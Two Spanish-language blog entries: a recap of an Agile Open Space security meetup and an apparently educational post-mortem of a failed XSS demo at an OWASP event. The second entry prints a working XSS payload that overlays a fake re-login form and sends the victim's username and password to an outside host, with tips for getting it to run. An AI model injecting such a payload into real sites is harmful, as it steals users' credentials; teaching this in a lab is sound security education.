2014/05/19

AOS BsAs 2014

Quinta vez. Recuerdo cuando propuse esta actividad hace ya tanto, tirando la idea como para que la haga otro y como me he tenido que hacer cargo, jaja.

Si algo han tenido en común estos eventos es la magra concurrencia. De todos modos, siempre han sido satisfactorios, aunque está vez como que ha alcanzado una densidad mayor, es que nunca hemos sido menos y el nivel de elaboración fue el habitual o superior.

Como en las otras ocasiones, hay mucha gente "nueva", es su primer Open Space y tuve que aclarar que mi rol había sido el de generar las condiciones, en el momento es que estamos acá el evento es de todos los presentes.

Esto nos lleva a algo que es un poco ingrato, que es que si el evento sale mal es culpa de los que lo organizan, pero si sale bien, es de todos los que participaron. Puede ser feo, pero es real y estoy de acuerdo.

Para remediar esta injusticia, es importante participar de la organización, tan poco como difundir, tanto como conseguir el lugar. Tan no funcional como conseguir comida. Convencer a alguien que sepa bien de algo particular asistir. Conseguir el "apoyo institucional", que aún no sé bien para que sirve pero igual intento.

Estoy cada vez más convencido de reducir al mínimo las necesidades para reducir al mínimo los sponsors. He escuchado en algún evento de seguridad frases parecidas a "esto le cae mal a los sponsors" frente a una persona que había sido agredida por otros integrantes del evento y reaccionó dando dos charlas, la que tenía pensada precedida de la denuncia de lo que había ocurrido. Lo paradójico es que esa primera charla mientras que por un lado provocó que dos o tres personas se levantaran y se fueran y el centenar restante aplaudiera hasta sangrar, supongo que nunca volverá a ser invitada.

Aparte, pienso que la relación con los sponsors es una importante fuerza burocratizante, pero es tema de otra entrada.

A fines prácticos, en esta ocasión como en la anterior, se ha prescindido de la lista de inscripción y al terminar ofrecí que me dieran los mails para pasar los grupos (foro agiles, agiles argentina y seguridad agile), diciendo que el sponsor estaba enfrente de ellos, SVC, y era quien había traido el tentempié.

Con respecto a la ejecución casi ni respetamos el formato Open Space. Usamos una hora de las tres disponibles jugando a Capture the Datacenter. Yo aprovechaba para tirar conceptos de SegInf cada vez que era oportuno.

Luego, hicimos el "marketplace" (no me gusta ese nombre pero es otra entrada) con una innovación. Supongo que a todos nos es familiar la sensación de desesperación cada vez que casi todas las propuestas son interesantes, ya que un multitrack provoca exclusión de temas. En esta oportunidad nos quedamos con el pan y con la torta. Implementamos una suerte de "early drop".

Recuerdo que una de las propuestas, Quiero saber de seguridad SIP, la pudimos descartar de una, ya que bastó con preguntar si alguien podía explicar algo y nadie había.


Con la otra, Conseguir trabajo en SegInf Freelance, nos pusimos a discutir y finalmente fue de hecho el unitrack cero de cinco minutos de duración. En cierto modo resultó ser síntoma de la falta de madurez en el formato de Open Space nuestra, de no poder respetar que estabamos eligiendo sin debatir. No insistí mucho pues me pone en una situación incómoda y en última instancia, hago esto para divertirme. De haber hecho los mismo con las demás propuestas el resultado hubiese sido desastroso, pero así como fué pienso que fué la situación óptima, el tema fue resuelto y no ocupó innecesariamente una sesión.

A raiz de ello, me parece que habría que generar un nuevo formato, el Lightning Chat, cuyas características serían ser la brevedad y el potencial interés para todos los participantes del evento, como una Lightning Talk, pero con debate.

Las propuestas restantes, fueron algo así como:

Programación reactiva
Tratamiento seguro de I/O
¿Hay lenguajes más seguros que otros?

¿Qué es Scrum?
Heartbleed, descripción e impacto en Open Source

Retomando la desesperación de perderse algo y aprovechando que éramos pocos, resolvimos hacer unitrack y juntar los tres primeros en la primera sesión y luego ver si llegabamos a ver los otros dos luego, poniendo heartbleed de último pues nos parecía menos interesante. No llegamos a verlo.

Al final, recapitulando sobre el evento en si y los anteriores, llegamos a dos ideas importantes:

  • Hubiésemos necesitado un poco más de tiempo.
  • Es importante que haya una mayor frecuencia, tres o cuatro veces al año.

Quedó implícito que sería importante que asistiera más gente, pero yo tuve mis dudas, pues tendríamos quizás que haber hecho el Open Space ortodoxo (si es que tal cosa existe). Pero mientras escribo recuerdo una sesión de treinta o cuarenta usando la pecera en el bar de exactas hace como cinco años y quizás mis dudas no tengan asidero.

Con respecto a la mayor frecuencia, estamos pensando en repetir, aprovechar el Agiles Argentina o ver de hacer meetups en el mismo lugar o SVC.







2014/05/11

El error ajeno

Si hay una frase muy del mundo agile que me gusta es "hay que aprender del error". Más me gusta extenderla: "y si es del ajeno, mejor".

Otra vez el error ha sido mio, pero para vos es ajeno, así que sentate, embebete de error y llevate el botín.



En esta ocasión, en el marco del OWASP Latam Tour 2014[1] como primer bocadillo tenía que mostrar un par de vulnerabilidades de aplicaciones web compatibles con el Top Ten de OWASP[2]. Esta era mi planificación:

  • Hacer una evaluación de los asistentes (dev, sec, dev/sec), útil tambien para las charlas posteriores.
  • Mostrar XSS
  • Mostrar un error de configuración de apache
  • Mostrar un ataque combinando ambos
  • Mostrar otras vulnerabilidades según el tiempo restante
  • Invitar al Agile Open Seguridad BsAs 2014
Todo regado de abundantes referencias al Top Ten.

Para que sea más divertido y no suene como compensación y como no todo es fracaso en la vida, voy a empezar por los aciertos y luego pasaré a los errores:


  • Aprovechando que era el primero, probar que todo lo que me había propuesto, que no incluye lo que mi hizo fallar, estuviera listo.
  • Los tabs estaban nombrados.
  • Tenía mi checklist.
  • Tenía la demo lista dos semanas antes
  • Practiqué la demo.
  • Cuando llegó la falla, aunque me embargó una sensación de newbie, de ser un completo disminuido, que nunca me iban a invitar a exponer a ningún lado otra vez (que bien puede ser posible), que pasaría a ser un paria de la seguridad informática y el desarrollo agile, ni siquiera sudé. Me puse en modo despliegue en producción, esto me importa media mierda, si sale mal retrocedo y voy por otro camino, me tragué las lágrimas y seguí adelante.


¡Basta de suspenso! ¿Cúal fue el error??

No fué un error, sino varios, en orden creciente:

Primer error



Para estas actividades tengo una (la) netbook, que cada tanto al apretar el teclado de cierto modo tiene una falla de hard y el kernel se deshace la comunicación con el humano. Puedo sacar la batería o entrar por ssh a reiniciar. Esto no me puede ocurrir y por eso llevo un teclado y mouse. El problema es que esta ocasión, para aligerar la mochila llevé el genius mas cortito y liviano con layout XXXX en lugar del apple pesado con el layout YYYY correspondiente a la netbook. Puede parecer una pelotudez, pero eso provocó que en el momento de crisis, tuviera dificultades en hallar los caracteres especiales, aumentando mi confusión y perdiendo tiempo.

Segundo error


Normalmente me hago una checklist que voy tachando durante el transcurso de la charla. Esta charla de tres o cuatro ejemplos está basada en una actividad de ocho. La checklist que tenía incluía la checklist que realmente iba a hacer.

Tercer error


No me di cuenta que veinticinco minutos no es la mitad de cincuenta, es mucho menos. Un curso de varias horas puede estar plagado de pequeños errores que se pueden resolver en el momento o incluso se pueden aprovechar para mejorar la explicación. Cuanto más corto el tiempo, más importante es que no falle nada.



Último error, o sea, el primero, pues es una lista creciente


Una y otra vez he visto demos que fallan, ocurre siempre, es muy triste pero es normal. Una demo es algo mucho más vivo que pasar slides o videos e ir hablando encima. Es la diferencia entre el cine y el teatro.

En una de esas tantas demos que fallaron, vi un recurso muy sencillo, que es combinar el teatro con el cine y consiste en tener la parte crítica de la demo ya grabada. Es menos creible, pero llegado el caso te salva.

Las demos que hago suelen ser muy retorcidas. La de TDSD por ejemplo, la terminé de entender recien la cuarta vez al exponerla en Agiles 2011[3]. Aún así le pedí a un asistente conocido, Sergio G., que me ayudara a mantener el rumbo. Esta demo es una versión simplificada, fácilmente grabable.

Una aclaración: yo llamo demo a lo que hice, pero para mí el espíritu real de una demo es un 0day, BEAST, CRIME, algo donde el objetivo es mostrar un descubrimiento, un invento, algo cualitativo. Mi exposición es meramente educativa, daba lo mismo XSS, CSRF o SQLi, no había nada nuevo, quizás para algún asistente era nueva la idea de combinar XSS y el log de apache, pero no para la comunidad.



Resta preguntar por qué no grabé. Muy sencillo, por el mismo motivo que no se aplica seguridad en los proyectos: economía. Estaba (estoy) bajo una sobrecarga de actividad y tengo que priorizar, a veces mal.

La falla

Cuando iba a combinar el ataque de XSS con la falla de configuración de apache, no pude encontrar el ataque en javascript. Así de fácil. Me perdí en la checklist, me perdí en los branches de git, no tenía tiempo para reescribirlo. Fue tan abrumador que durante medio minuto ni pude ocultar mi desesperación. Al final escribí en la url el resultado del ataque. Luego alguien hizo un comentario largo, tuve tiempo de volver para atras y lo encontré pero ya no tenía tiempo y ahí vino...


La yapa


Puse el código en pantalla y expliqué que hubiera hecho. Me hubiese llevado el mismo tiempo hacer el ataque y no estaríamos aquí. Lo peor, es que la ruta del ataque en el sistema de archivos estaba claramente escrita en mi checklist y no la pude ver hasta que era tarde.


La conclusión


Si hubiera hecho bien la checklist, si hubiera grabado la demo, habría pasado menos vergüenza y en el mundo del que gana y pierde hubiese ganado. Pero no hubiese escrito esta entrada y todos ustedes que asistieron a la charla no estarían gananado esto, volvemos otra vez a que el error enriquece, mucho mejor el error ajeno.



Muy interesante todo, muy poético, muy sensible, igual lo que nos importa es ese código que nos mostraste pero no vimos en acción y querríamos probar en casa.

Ok, ok, acá esta


<script>
  $("body").append($("<style/>", {text : '#login { background-color:#FFFFFF; border:1px solid #999999; margin-top: 15px; position:absolute; text-align:left; width:394px; z-index:50; padding: 25px 25px 20px; } '}));
  var html= '<div id="login"> Para seguir operando, reingrese sus credenciales: <form method="get" id="trampa" action="http://good.com/image.png"> <p>Usuario:<input type="text" name="usuario" /></p> <p>Clave<input type="password" name="clave"  /></p> <p><input type="submit" value="Reingresar"/></p> </form> </div>';
  $("body").append(html);
</script>



Repasemos, primero el login.



Luego enviamos el mensaje, cualquier cosa en este caso pues hay validación client side de 50 caracteres.


Acá podemos ver el log




Con tamper data modificamos el mensaje


Aparece el falso login



Y finalmente las credenciales en el log




Para armar la demo, es importante tener sólo XSS en el sitio, pues ese texto rompe un sitio con SQLi por las comillas simples.


Si se está usando un post para poner el XSS, ojo al tamaño máximo en la validación client side. Si el campo en la tabla tiene un tamaño máximo insuficiente, puede fallar.

Para evitar todo esto, se puede hacer con XSS reflejado y el sitio modelo se reduce a tirar un mensaje de error no sanitizado.

Hace falta que el sitio modelo atacado tenga jquery.

Cualquier duda, a tu disposición.

[1] https://www.owasp.org/index.php/LatamTour2014#tab=ARGENTINA
[2] https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
[3] http://seguridad-agile.blogspot.com/2011/10/agiles-2011-dia-1.html